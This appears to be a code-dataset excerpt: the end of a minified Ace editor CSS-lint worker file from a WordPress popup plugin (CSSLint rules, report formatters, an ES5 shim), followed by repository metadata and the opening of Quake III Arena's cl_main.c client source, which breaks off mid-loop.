approaching the 4095 selector limit for IE",desc:"Will warn when selector count is >= 3800 selectors.",browsers:"IE",init:function(e,t){var i=this,n=0;e.addListener("startrule",function(e){n+=e.selectors.length}),e.addListener("endstylesheet",function(){n>=3800&&t.report("You have "+n+" selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.",0,0,i)})}}),CSSLint.addRule({id:"selector-max",name:"Error when past the 4095 selector limit for IE",desc:"Will error when selector count is > 4095.",browsers:"IE",init:function(e,t){var i=this,n=0;e.addListener("startrule",function(e){n+=e.selectors.length}),e.addListener("endstylesheet",function(){n>4095&&t.report("You have "+n+" selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.",0,0,i)})}}),CSSLint.addRule({id:"selector-newline",name:"Disallow new-line characters in selectors",desc:"New-line characters in selectors are usually a forgotten comma and not a descendant combinator.",browsers:"All",init:function(e,t){function i(e){var i,r,o,s,a,l,c,h,u,d,g,f=e.selectors;for(i=0,r=f.length;r>i;i++)for(o=f[i],s=0,l=o.parts.length;l>s;s++)for(a=s+1;l>a;a++)c=o.parts[s],h=o.parts[a],u=c.type,d=c.line,g=h.line,"descendant"===u&&g>d&&t.report("newline character found in selector (forgot a comma?)",d,f[i].parts[0].col,n)}var n=this;e.addListener("startrule",i)}}),CSSLint.addRule({id:"shorthand",name:"Require shorthand properties",desc:"Use shorthand properties where possible.",browsers:"All",init:function(e,t){function i(){a={}}function n(e){var i,n,r,o;for(i in h)if(h.hasOwnProperty(i)){for(o=0,n=0,r=h[i].length;r>n;n++)o+=a[h[i][n]]?1:0;o===h[i].length&&t.report("The properties "+h[i].join(", ")+" can be replaced by "+i+".",e.line,e.col,l)}}var r,o,s,a,l=this,c={},h={margin:["margin-top","margin-bottom","margin-left","margin-right"],padding:["padding-top","padding-bottom","padding-left","padding-right"]};for(r in h)if(h.hasOwnProperty(r))for(o=0,s=h[r].length;s>o;o++)c[h[r][o]]=r;e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("property",function(e){var t=(""+e.property).toLowerCase();c[t]&&(a[t]=1)}),e.addListener("endrule",n),e.addListener("endfontface",n)}}),CSSLint.addRule({id:"star-property-hack",name:"Disallow properties with a star prefix",desc:"Checks for the star property hack (targets IE6/7)",browsers:"All",init:function(e,t){var i=this;e.addListener("property",function(e){var n=e.property;"*"===n.hack&&t.report("Property with star prefix found.",e.property.line,e.property.col,i)})}}),CSSLint.addRule({id:"text-indent",name:"Disallow negative text-indent",desc:"Checks for text indent less than -99px",browsers:"All",init:function(e,t){function i(){r=!1,o="inherit"}function n(){r&&"ltr"!==o&&t.report("Negative text-indent doesn't work well with RTL. If you use text-indent for image replacement explicitly set direction for that item to ltr.",r.line,r.col,s)}var r,o,s=this;e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("property",function(e){var t=(""+e.property).toLowerCase(),i=e.value;"text-indent"===t&&-99>i.parts[0].value?r=e.property:"direction"===t&&"ltr"==""+i&&(o="ltr")}),e.addListener("endrule",n),e.addListener("endfontface",n)}}),CSSLint.addRule({id:"underscore-property-hack",name:"Disallow properties with an underscore prefix",desc:"Checks for the underscore property hack (targets IE6)",browsers:"All",init:function(e,t){var i=this;e.addListener("property",function(e){var n=e.property;"_"===n.hack&&t.report("Property with underscore prefix found.",e.property.line,e.property.col,i)})}}),CSSLint.addRule({id:"unique-headings",name:"Headings should only be defined once",desc:"Headings should be defined only once.",browsers:"All",init:function(e,t){var i=this,n={h1:0,h2:0,h3:0,h4:0,h5:0,h6:0};e.addListener("startrule",function(e){var r,o,s,a,l,c=e.selectors;for(a=0;c.length>a;a++)if(r=c[a],o=r.parts[r.parts.length-1],o.elementName&&/(h[1-6])/i.test(""+o.elementName)){for(l=0;o.modifiers.length>l;l++)if("pseudo"===o.modifiers[l].type){s=!0;break}s||(n[RegExp.$1]++,n[RegExp.$1]>1&&t.report("Heading ("+o.elementName+") has already been defined.",o.line,o.col,i))}}),e.addListener("endstylesheet",function(){var e,r=[];for(e in n)n.hasOwnProperty(e)&&n[e]>1&&r.push(n[e]+" "+e+"s");r.length&&t.rollupWarn("You have "+r.join(", ")+" defined in this stylesheet.",i)})}}),CSSLint.addRule({id:"universal-selector",name:"Disallow universal selector",desc:"The universal selector (*) is known to be slow.",browsers:"All",init:function(e,t){var i=this;e.addListener("startrule",function(e){var n,r,o,s=e.selectors;for(o=0;s.length>o;o++)n=s[o],r=n.parts[n.parts.length-1],"*"===r.elementName&&t.report(i.desc,r.line,r.col,i)})}}),CSSLint.addRule({id:"unqualified-attributes",name:"Disallow unqualified attribute selectors",desc:"Unqualified attribute selectors are known to be slow.",browsers:"All",init:function(e,t){var i=this;e.addListener("startrule",function(n){var r,o,s,a,l,c=n.selectors;for(a=0;c.length>a;a++)if(r=c[a],o=r.parts[r.parts.length-1],o.type===e.SELECTOR_PART_TYPE)for(l=0;o.modifiers.length>l;l++)s=o.modifiers[l],"attribute"!==s.type||o.elementName&&"*"!==o.elementName||t.report(i.desc,o.line,o.col,i)})}}),CSSLint.addRule({id:"vendor-prefix",name:"Require standard property with vendor prefix",desc:"When using a vendor-prefixed property, make sure to include the standard one.",browsers:"All",init:function(e,t){function i(){r={},o=1}function n(){var e,i,n,o,l,c=[];for(e in r)a[e]&&c.push({actual:e,needed:a[e]});for(i=0,n=c.length;n>i;i++)o=c[i].needed,l=c[i].actual,r[o]?r[o][0].pos<r[l][0].pos&&t.report("Standard property '"+o+"' should come after vendor-prefixed property '"+l+"'.",r[l][0].name.line,r[l][0].name.col,s):t.report("Missing standard property '"+o+"' to go along with '"+l+"'.",r[l][0].name.line,r[l][0].name.col,s)}var r,o,s=this,a={"-webkit-border-radius":"border-radius","-webkit-border-top-left-radius":"border-top-left-radius","-webkit-border-top-right-radius":"border-top-right-radius","-webkit-border-bottom-left-radius":"border-bottom-left-radius","-webkit-border-bottom-right-radius":"border-bottom-right-radius","-o-border-radius":"border-radius","-o-border-top-left-radius":"border-top-left-radius","-o-border-top-right-radius":"border-top-right-radius","-o-border-bottom-left-radius":"border-bottom-left-radius","-o-border-bottom-right-radius":"border-bottom-right-radius","-moz-border-radius":"border-radius","-moz-border-radius-topleft":"border-top-left-radius","-moz-border-radius-topright":"border-top-right-radius","-moz-border-radius-bottomleft":"border-bottom-left-radius","-moz-border-radius-bottomright":"border-bottom-right-radius","-moz-column-count":"column-count","-webkit-column-count":"column-count","-moz-column-gap":"column-gap","-webkit-column-gap":"column-gap","-moz-column-rule":"column-rule","-webkit-column-rule":"column-rule","-moz-column-rule-style":"column-rule-style","-webkit-column-rule-style":"column-rule-style","-moz-column-rule-color":"column-rule-color","-webkit-column-rule-color":"column-rule-color","-moz-column-rule-width":"column-rule-width","-webkit-column-rule-width":"column-rule-width","-moz-column-width":"column-width","-webkit-column-width":"column-width","-webkit-column-span":"column-span","-webkit-columns":"columns","-moz-box-shadow":"box-shadow","-webkit-box-shadow":"box-shadow","-moz-transform":"transform","-webkit-transform":"transform","-o-transform":"transform","-ms-transform":"transform","-moz-transform-origin":"transform-origin","-webkit-transform-origin":"transform-origin","-o-transform-origin":"transform-origin","-ms-transform-origin":"transform-origin","-moz-box-sizing":"box-sizing","-webkit-box-sizing":"box-sizing"};e.addListener("startrule",i),e.addListener("startfontface",i),e.addListener("startpage",i),e.addListener("startpagemargin",i),e.addListener("startkeyframerule",i),e.addListener("property",function(e){var t=e.property.text.toLowerCase();r[t]||(r[t]=[]),r[t].push({name:e.property,value:e.value,pos:o++})}),e.addListener("endrule",n),e.addListener("endfontface",n),e.addListener("endpage",n),e.addListener("endpagemargin",n),e.addListener("endkeyframerule",n)}}),CSSLint.addRule({id:"zero-units",name:"Disallow units for 0 values",desc:"You don't need to specify units when a value is 0.",browsers:"All",init:function(e,t){var i=this;e.addListener("property",function(e){for(var n=e.value.parts,r=0,o=n.length;o>r;)!n[r].units&&"percentage"!==n[r].type||0!==n[r].value||"time"===n[r].type||t.report("Values of 0 shouldn't have units specified.",n[r].line,n[r].col,i),r++})}}),function(){var e=function(e){return e&&e.constructor===String?e.replace(/[\"&><]/g,function(e){switch(e){case'"':return"&quot;";case"&":return"&amp;";case"<":return"&lt;";case">":return"&gt;"}}):""};CSSLint.addFormatter({id:"checkstyle-xml",name:"Checkstyle XML format",startFormat:function(){return'<?xml version="1.0" encoding="utf-8"?><checkstyle>'},endFormat:function(){return"</checkstyle>"},readError:function(t,i){return'<file name="'+e(t)+'"><error line="0" column="0" severty="error" message="'+e(i)+'"></error></file>'},formatResults:function(t,i){var n=t.messages,r=[],o=function(e){return e&&"name"in e?"net.csslint."+e.name.replace(/\s/g,""):""};return n.length>0&&(r.push('<file name="'+i+'">'),CSSLint.Util.forEach(n,function(t){t.rollup||r.push('<error line="'+t.line+'" column="'+t.col+'" severity="'+t.type+'"'+' message="'+e(t.message)+'" source="'+o(t.rule)+'"/>')}),r.push("</file>")),r.join("")}})}(),CSSLint.addFormatter({id:"compact",name:"Compact, 'porcelain' format",startFormat:function(){return""},endFormat:function(){return""},formatResults:function(e,t,i){var n=e.messages,r="";i=i||{};var o=function(e){return e.charAt(0).toUpperCase()+e.slice(1)};return 0===n.length?i.quiet?"":t+": Lint Free!":(CSSLint.Util.forEach(n,function(e){r+=e.rollup?t+": "+o(e.type)+" - "+e.message+"\n":t+": "+"line "+e.line+", col "+e.col+", "+o(e.type)+" - "+e.message+" ("+e.rule.id+")\n"}),r)}}),CSSLint.addFormatter({id:"csslint-xml",name:"CSSLint XML format",startFormat:function(){return'<?xml version="1.0" encoding="utf-8"?><csslint>'},endFormat:function(){return"</csslint>"},formatResults:function(e,t){var i=e.messages,n=[],r=function(e){return e&&e.constructor===String?e.replace(/\"/g,"'").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;"):""};return i.length>0&&(n.push('<file name="'+t+'">'),CSSLint.Util.forEach(i,function(e){e.rollup?n.push('<issue severity="'+e.type+'" reason="'+r(e.message)+'" evidence="'+r(e.evidence)+'"/>'):n.push('<issue line="'+e.line+'" char="'+e.col+'" severity="'+e.type+'"'+' reason="'+r(e.message)+'" evidence="'+r(e.evidence)+'"/>')}),n.push("</file>")),n.join("")}}),CSSLint.addFormatter({id:"junit-xml",name:"JUNIT XML format",startFormat:function(){return'<?xml version="1.0" encoding="utf-8"?><testsuites>'},endFormat:function(){return"</testsuites>"},formatResults:function(e,t){var i=e.messages,n=[],r={error:0,failure:0},o=function(e){return e&&"name"in e?"net.csslint."+e.name.replace(/\s/g,""):""},s=function(e){return e&&e.constructor===String?e.replace(/\"/g,"'").replace(/</g,"&lt;").replace(/>/g,"&gt;"):""};return i.length>0&&(i.forEach(function(e){var t="warning"===e.type?"error":e.type;e.rollup||(n.push('<testcase time="0" name="'+o(e.rule)+'">'),n.push("<"+t+' message="'+s(e.message)+'"><![CDATA['+e.line+":"+e.col+":"+s(e.evidence)+"]]></"+t+">"),n.push("</testcase>"),r[t]+=1)}),n.unshift('<testsuite time="0" tests="'+i.length+'" skipped="0" errors="'+r.error+'" failures="'+r.failure+'" package="net.csslint" name="'+t+'">'),n.push("</testsuite>")),n.join("")}}),CSSLint.addFormatter({id:"lint-xml",name:"Lint XML format",startFormat:function(){return'<?xml version="1.0" encoding="utf-8"?><lint>'},endFormat:function(){return"</lint>"},formatResults:function(e,t){var i=e.messages,n=[],r=function(e){return e&&e.constructor===String?e.replace(/\"/g,"'").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;"):""};return i.length>0&&(n.push('<file name="'+t+'">'),CSSLint.Util.forEach(i,function(e){e.rollup?n.push('<issue severity="'+e.type+'" reason="'+r(e.message)+'" evidence="'+r(e.evidence)+'"/>'):n.push('<issue line="'+e.line+'" char="'+e.col+'" severity="'+e.type+'"'+' reason="'+r(e.message)+'" evidence="'+r(e.evidence)+'"/>')}),n.push("</file>")),n.join("")}}),CSSLint.addFormatter({id:"text",name:"Plain Text",startFormat:function(){return""},endFormat:function(){return""},formatResults:function(e,t,i){var n=e.messages,r="";if(i=i||{},0===n.length)return i.quiet?"":"\n\ncsslint: No errors in "+t+".";r="\n\ncsslint: There ",r+=1===n.length?"is 1 problem":"are "+n.length+" problems",r+=" in "+t+".";var o=t.lastIndexOf("/"),s=t;return-1===o&&(o=t.lastIndexOf("\\")),o>-1&&(s=t.substring(o+1)),CSSLint.Util.forEach(n,function(e,t){r=r+"\n\n"+s,e.rollup?(r+="\n"+(t+1)+": "+e.type,r+="\n"+e.message):(r+="\n"+(t+1)+": "+e.type+" at line "+e.line+", col "+e.col,r+="\n"+e.message,r+="\n"+e.evidence)}),r}}),module.exports.CSSLint=CSSLint}),ace.define("ace/mode/css_worker",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/worker/mirror","ace/mode/css/csslint"],function(e,t){"use strict";var i=e("../lib/oop"),n=e("../lib/lang"),r=e("../worker/mirror").Mirror,o=e("./css/csslint").CSSLint,s=t.Worker=function(e){r.call(this,e),this.setTimeout(400),this.ruleset=null,this.setDisabledRules("ids|order-alphabetical"),this.setInfoRules("adjoining-classes|qualified-headings|zero-units|gradients|import|outline-none|vendor-prefix")};i.inherits(s,r),function(){this.setInfoRules=function(e){"string"==typeof e&&(e=e.split("|")),this.infoRules=n.arrayToMap(e),this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.setDisabledRules=function(e){if(e){"string"==typeof e&&(e=e.split("|"));var t={};o.getRules().forEach(function(e){t[e.id]=!0}),e.forEach(function(e){delete t[e]}),this.ruleset=t}else this.ruleset=null;this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return this.sender.emit("csslint",[]);var t=this.infoRules,i=o.verify(e,this.ruleset);this.sender.emit("csslint",i.messages.map(function(e){return{row:e.line-1,column:e.col-1,text:e.message,type:t[e.rule.id]?"info":e.type,rule:e.rule.name}}))}}.call(s.prototype)}),ace.define("ace/lib/es5-shim",["require","exports","module"],function(){function e(){}function t(e){try{return Object.defineProperty(e,"sentinel",{}),"sentinel"in e}catch(t){}}function i(e){return e=+e,e!==e?e=0:0!==e&&e!==1/0&&e!==-(1/0)&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}Function.prototype.bind||(Function.prototype.bind=function(t){var i=this;if("function"!=typeof i)throw new TypeError("Function.prototype.bind called on incompatible "+i);var n=u.call(arguments,1),r=function(){if(this instanceof r){var e=i.apply(this,n.concat(u.call(arguments)));return Object(e)===e?e:this}return i.apply(t,n.concat(u.call(arguments)))};return i.prototype&&(e.prototype=i.prototype,r.prototype=new e,e.prototype=null),r});var n,r,o,s,a,l=Function.prototype.call,c=Array.prototype,h=Object.prototype,u=c.slice,d=l.bind(h.toString),g=l.bind(h.hasOwnProperty);if((a=g(h,"__defineGetter__"))&&(n=l.bind(h.__defineGetter__),r=l.bind(h.__defineSetter__),o=l.bind(h.__lookupGetter__),s=l.bind(h.__lookupSetter__)),2!=[1,2].splice(0).length)if(function(){function e(e){var t=Array(e+2);return t[0]=t[1]=0,t}var t,i=[];return i.splice.apply(i,e(20)),i.splice.apply(i,e(26)),t=i.length,i.splice(5,0,"XXX"),t+1==i.length,t+1==i.length?!0:void 0}()){var f=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?f.apply(this,[void 0===e?0:e,void 0===t?this.length-e:t].concat(u.call(arguments,2))):[]}}else Array.prototype.splice=function(e,t){var i=this.length;e>0?e>i&&(e=i):void 0==e?e=0:0>e&&(e=Math.max(i+e,0)),i>e+t||(t=i-e);var n=this.slice(e,e+t),r=u.call(arguments,2),o=r.length;if(e===i)o&&this.push.apply(this,r);else{var s=Math.min(t,i-e),a=e+s,l=a+o-s,c=i-a,h=i-s;if(a>l)for(var d=0;c>d;++d)this[l+d]=this[a+d];else if(l>a)for(d=c;d--;)this[l+d]=this[a+d];if(o&&e===h)this.length=h,this.push.apply(this,r);else for(this.length=h+o,d=0;o>d;++d)this[e+d]=r[d]}return n};Array.isArray||(Array.isArray=function(e){return"[object Array]"==d(e)});var p=Object("a"),m="a"!=p[0]||!(0 in p);if(Array.prototype.forEach||(Array.prototype.forEach=function(e){var t=B(this),i=m&&"[object String]"==d(this)?this.split(""):t,n=arguments[1],r=-1,o=i.length>>>0;if("[object Function]"!=d(e))throw new TypeError;for(;o>++r;)r in i&&e.call(n,i[r],r,t)}),Array.prototype.map||(Array.prototype.map=function(e){var t=B(this),i=m&&"[object String]"==d(this)?this.split(""):t,n=i.length>>>0,r=Array(n),o=arguments[1];if("[object Function]"!=d(e))throw new TypeError(e+" is not a function");for(var s=0;n>s;s++)s in i&&(r[s]=e.call(o,i[s],s,t));return r}),Array.prototype.filter||(Array.prototype.filter=function(e){var t,i=B(this),n=m&&"[object String]"==d(this)?this.split(""):i,r=n.length>>>0,o=[],s=arguments[1];if("[object Function]"!=d(e))throw new TypeError(e+" is not a function");for(var a=0;r>a;a++)a in n&&(t=n[a],e.call(s,t,a,i)&&o.push(t));return o}),Array.prototype.every||(Array.prototype.every=function(e){var t=B(this),i=m&&"[object String]"==d(this)?this.split(""):t,n=i.length>>>0,r=arguments[1];if("[object Function]"!=d(e))throw new TypeError(e+" is not a function");for(var o=0;n>o;o++)if(o in i&&!e.call(r,i[o],o,t))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(e){var t=B(this),i=m&&"[object String]"==d(this)?this.split(""):t,n=i.length>>>0,r=arguments[1];if("[object Function]"!=d(e))throw new TypeError(e+" is not a function");for(var o=0;n>o;o++)if(o in i&&e.call(r,i[o],o,t))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(e){var t=B(this),i=m&&"[object String]"==d(this)?this.split(""):t,n=i.length>>>0;if("[object Function]"!=d(e))throw new TypeError(e+" is not a function");if(!n&&1==arguments.length)throw new TypeError("reduce of empty array with no initial value");var r,o=0;if(arguments.length>=2)r=arguments[1];else for(;;){if(o in i){r=i[o++];break}if(++o>=n)throw new TypeError("reduce of empty array with no initial value")}for(;n>o;o++)o in i&&(r=e.call(void 0,r,i[o],o,t));return r}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(e){var t=B(this),i=m&&"[object String]"==d(this)?this.split(""):t,n=i.length>>>0;if("[object Function]"!=d(e))throw new TypeError(e+" is not a function");if(!n&&1==arguments.length)throw new TypeError("reduceRight of empty array with no initial value");var r,o=n-1;if(arguments.length>=2)r=arguments[1];else for(;;){if(o in i){r=i[o--];break}if(0>--o)throw new TypeError("reduceRight of empty array with no initial value")}do o in this&&(r=e.call(void 0,r,i[o],o,t));while(o--);return r}),Array.prototype.indexOf&&-1==[0,1].indexOf(1,2)||(Array.prototype.indexOf=function(e){var t=m&&"[object String]"==d(this)?this.split(""):B(this),n=t.length>>>0;if(!n)return-1;var r=0;for(arguments.length>1&&(r=i(arguments[1])),r=r>=0?r:Math.max(0,n+r);n>r;r++)if(r in t&&t[r]===e)return r;return-1}),Array.prototype.lastIndexOf&&-1==[0,1].lastIndexOf(0,-3)||(Array.prototype.lastIndexOf=function(e){var t=m&&"[object String]"==d(this)?this.split(""):B(this),n=t.length>>>0;if(!n)return-1;var r=n-1;for(arguments.length>1&&(r=Math.min(r,i(arguments[1]))),r=r>=0?r:n-Math.abs(r);r>=0;r--)if(r in t&&e===t[r])return r;return-1}),Object.getPrototypeOf||(Object.getPrototypeOf=function(e){return e.__proto__||(e.constructor?e.constructor.prototype:h)}),!Object.getOwnPropertyDescriptor){var v="Object.getOwnPropertyDescriptor called on a non-object: ";Object.getOwnPropertyDescriptor=function(e,t){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError(v+e);if(g(e,t)){var i,n,r;if(i={enumerable:!0,configurable:!0},a){var l=e.__proto__;e.__proto__=h;var n=o(e,t),r=s(e,t);if(e.__proto__=l,n||r)return n&&(i.get=n),r&&(i.set=r),i}return i.value=e[t],i}}}if(Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(e){return Object.keys(e)}),!Object.create){var w;w=null===Object.prototype.__proto__?function(){return{__proto__:null}}:function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(e,t){var i;if(null===e)i=w();else{if("object"!=typeof e)throw new TypeError("typeof prototype["+typeof e+"] != 'object'");var n=function(){};n.prototype=e,i=new n,i.__proto__=e}return void 0!==t&&Object.defineProperties(i,t),i}}if(Object.defineProperty){var A=t({}),C="undefined"==typeof document||t(document.createElement("div"));if(!A||!C)var b=Object.defineProperty}if(!Object.defineProperty||b){var y="Property description must be an object: ",E="Object.defineProperty called on non-object: ",F="getters & setters can not be defined on this javascript engine";Object.defineProperty=function(e,t,i){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError(E+e);if("object"!=typeof i&&"function"!=typeof i||null===i)throw new TypeError(y+i);if(b)try{return b.call(Object,e,t,i)}catch(l){}if(g(i,"value"))if(a&&(o(e,t)||s(e,t))){var c=e.__proto__;e.__proto__=h,delete e[t],e[t]=i.value,e.__proto__=c}else e[t]=i.value;else{if(!a)throw new TypeError(F);g(i,"get")&&n(e,t,i.get),g(i,"set")&&r(e,t,i.set)}return e}}Object.defineProperties||(Object.defineProperties=function(e,t){for(var i in t)g(t,i)&&Object.defineProperty(e,i,t[i]);return e}),Object.seal||(Object.seal=function(e){return e}),Object.freeze||(Object.freeze=function(e){return e});try{Object.freeze(function(){})}catch(k){Object.freeze=function(e){return function(t){return"function"==typeof t?t:e(t)}}(Object.freeze)}if(Object.preventExtensions||(Object.preventExtensions=function(e){return e}),Object.isSealed||(Object.isSealed=function(){return!1}),Object.isFrozen||(Object.isFrozen=function(){return!1}),Object.isExtensible||(Object.isExtensible=function(e){if(Object(e)===e)throw new TypeError;for(var t="";g(e,t);)t+="?";e[t]=!0;var i=g(e,t);return delete e[t],i}),!Object.keys){var x=!0,S=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],_=S.length;for(var $ in{toString:null})x=!1;Object.keys=function(e){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError("Object.keys called on a non-object");var t=[];for(var i in e)g(e,i)&&t.push(i);if(x)for(var n=0,r=_;r>n;n++){var o=S[n];g(e,o)&&t.push(o)}return t}}Date.now||(Date.now=function(){return(new Date).getTime()});var L=" \n \f\r   ᠎              \u2028\u2029";if(!String.prototype.trim||L.trim()){L="["+L+"]";var T=RegExp("^"+L+L+"*"),D=RegExp(L+L+"*$");String.prototype.trim=function(){return(this+"").replace(T,"").replace(D,"")}}var B=function(e){if(null==e)throw new TypeError("can't convert "+e+" to object");return Object(e)}});
vgulshan1985/hushhushcams
wp-content/plugins/wordpress-popup/js/worker-css.min.js
JavaScript
gpl-2.0
137,670
/* =========================================================================== Copyright (C) 1999-2005 Id Software, Inc. This file is part of Quake III Arena source code. Quake III Arena source code is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Quake III Arena source code is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Foobar; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA =========================================================================== */ // cl_main.c -- client main loop #include "client.h" #include <limits.h> cvar_t *cl_nodelta; cvar_t *cl_debugMove; cvar_t *cl_noprint; cvar_t *cl_motd; cvar_t *rcon_client_password; cvar_t *rconAddress; cvar_t *cl_timeout; cvar_t *cl_maxpackets; cvar_t *cl_packetdup; cvar_t *cl_timeNudge; cvar_t *cl_showTimeDelta; cvar_t *cl_freezeDemo; cvar_t *cl_shownet; cvar_t *cl_showSend; cvar_t *cl_timedemo; cvar_t *cl_avidemo; cvar_t *cl_forceavidemo; cvar_t *cl_freelook; cvar_t *cl_sensitivity; cvar_t *cl_mouseAccel; cvar_t *cl_showMouseRate; cvar_t *m_pitch; cvar_t *m_yaw; cvar_t *m_forward; cvar_t *m_side; cvar_t *m_filter; cvar_t *cl_activeAction; cvar_t *cl_motdString; cvar_t *cl_allowDownload; cvar_t *cl_conXOffset; cvar_t *cl_inGameVideo; cvar_t *cl_serverStatusResendTime; cvar_t *cl_trn; clientActive_t cl; clientConnection_t clc; clientStatic_t cls; vm_t *cgvm; // Structure containing functions exported from refresh DLL refexport_t re; ping_t cl_pinglist[MAX_PINGREQUESTS]; typedef struct serverStatus_s { char string[BIG_INFO_STRING]; netadr_t address; int time, startTime; qboolean pending; qboolean print; qboolean retrieved; } serverStatus_t; serverStatus_t cl_serverStatusList[MAX_SERVERSTATUSREQUESTS]; int serverStatusCount; #if defined __USEA3D && defined __A3D_GEOM void hA3Dg_ExportRenderGeom (refexport_t *incoming_re); #endif extern void SV_BotFrame( int time ); void CL_CheckForResend( void ); void CL_ShowIP_f(void); void CL_ServerStatus_f(void); void CL_ServerStatusResponse( netadr_t from, msg_t *msg ); /* =============== CL_CDDialog Called by Com_Error when a cd is needed =============== */ void CL_CDDialog( void ) { cls.cddialog = qtrue; // start it next frame } /* ======================================================================= CLIENT RELIABLE COMMAND COMMUNICATION ======================================================================= */ /* ====================== CL_AddReliableCommand The given command will be transmitted to the server, and is gauranteed to not have future usercmd_t executed before it is executed ====================== */ void CL_AddReliableCommand( const char *cmd ) { int index; // if we would be losing an old command that hasn't been acknowledged, // we must drop the connection if ( clc.reliableSequence - clc.reliableAcknowledge > MAX_RELIABLE_COMMANDS ) { Com_Error( ERR_DROP, "Client command overflow" ); } clc.reliableSequence++; index = clc.reliableSequence & ( MAX_RELIABLE_COMMANDS - 1 ); Q_strncpyz( clc.reliableCommands[ index ], cmd, sizeof( clc.reliableCommands[ index ] ) ); } /* ====================== CL_ChangeReliableCommand ====================== */ void CL_ChangeReliableCommand( void ) { int r, index, l; r = clc.reliableSequence - (random() * 5); index = clc.reliableSequence & ( MAX_RELIABLE_COMMANDS - 1 ); l = (int)strlen(clc.reliableCommands[ index ]); if ( l >= MAX_STRING_CHARS - 1 ) { l = MAX_STRING_CHARS - 2; } clc.reliableCommands[ index ][ l ] = '\n'; clc.reliableCommands[ index ][ l+1 ] = '\0'; } /* ======================================================================= CLIENT SIDE DEMO RECORDING ======================================================================= */ /* ==================== CL_WriteDemoMessage Dumps the current net message, prefixed by the length ==================== */ void CL_WriteDemoMessage ( msg_t *msg, int headerBytes ) { int len, swlen; // write the packet sequence len = clc.serverMessageSequence; swlen = LittleLong( len ); FS_Write (&swlen, 4, clc.demofile); // skip the packet sequencing information len = msg->cursize - headerBytes; swlen = LittleLong(len); FS_Write (&swlen, 4, clc.demofile); FS_Write ( msg->data + headerBytes, len, clc.demofile ); } /* ==================== CL_StopRecording_f stop recording a demo ==================== */ void CL_StopRecord_f( void ) { int len; if ( !clc.demorecording ) { Com_Printf ("Not recording a demo.\n"); return; } // finish up len = -1; FS_Write (&len, 4, clc.demofile); FS_Write (&len, 4, clc.demofile); FS_FCloseFile (clc.demofile); clc.demofile = 0; clc.demorecording = qfalse; clc.spDemoRecording = qfalse; Com_Printf ("Stopped demo.\n"); } /* ================== CL_DemoFilename ================== */ void CL_DemoFilename( int number, char *fileName ) { int a,b,c,d; if ( number < 0 || number > 9999 ) { Com_sprintf( fileName, MAX_QPATH, "demo9999.tga" ); return; } a = number / 1000; number -= a*1000; b = number / 100; number -= b*100; c = number / 10; number -= c*10; d = number; Com_sprintf( fileName, MAX_QPATH, "demo%i%i%i%i" , a, b, c, d ); } /* ==================== CL_Record_f record <demoname> Begins recording a demo from the current position ==================== */ static char demoName[MAX_QPATH]; // compiler bug workaround void CL_Record_f( void ) { char name[MAX_OSPATH]; byte bufData[MAX_MSGLEN]; msg_t buf; int i; int len; entityState_t *ent; entityState_t nullstate; char *s; if ( Cmd_Argc() > 2 ) { Com_Printf ("record <demoname>\n"); return; } if ( clc.demorecording ) { if (!clc.spDemoRecording) { Com_Printf ("Already recording.\n"); } return; } if ( cls.state != CA_ACTIVE ) { Com_Printf ("You must be in a level to record.\n"); return; } // sync 0 doesn't prevent recording, so not forcing it off .. everyone does g_sync 1 ; record ; g_sync 0 .. if ( !Cvar_VariableValue( "g_synchronousClients" ) ) { Com_Printf (S_COLOR_YELLOW "WARNING: You should set 'g_synchronousClients 1' for smoother demo recording\n"); } if ( Cmd_Argc() == 2 ) { s = Cmd_Argv(1); Q_strncpyz( demoName, s, sizeof( demoName ) ); Com_sprintf (name, sizeof(name), "demos/%s.dm_%d", demoName, PROTOCOL_VERSION ); } else { int number; // scan for a free demo name for ( number = 0 ; number <= 9999 ; number++ ) { CL_DemoFilename( number, demoName ); Com_sprintf (name, sizeof(name), "demos/%s.dm_%d", demoName, PROTOCOL_VERSION ); len = FS_ReadFile( name, NULL ); if ( len <= 0 ) { break; // file doesn't exist } } } // open the demo file Com_Printf ("recording to %s.\n", name); clc.demofile = FS_FOpenFileWrite( name ); if ( !clc.demofile ) { Com_Printf ("ERROR: couldn't open.\n"); return; } clc.demorecording = qtrue; if (Cvar_VariableValue("ui_recordSPDemo")) { clc.spDemoRecording = qtrue; } else { clc.spDemoRecording = qfalse; } Q_strncpyz( clc.demoName, demoName, sizeof( clc.demoName ) ); // don't start saving messages until a non-delta compressed message is received clc.demowaiting = qtrue; // write out the gamestate message MSG_Init (&buf, bufData, sizeof(bufData)); MSG_Bitstream(&buf); // NOTE, MRE: all server->client messages now acknowledge MSG_WriteLong( &buf, clc.reliableSequence ); MSG_WriteByte (&buf, svc_gamestate); MSG_WriteLong (&buf, clc.serverCommandSequence ); // configstrings for ( i = 0 ; i < MAX_CONFIGSTRINGS 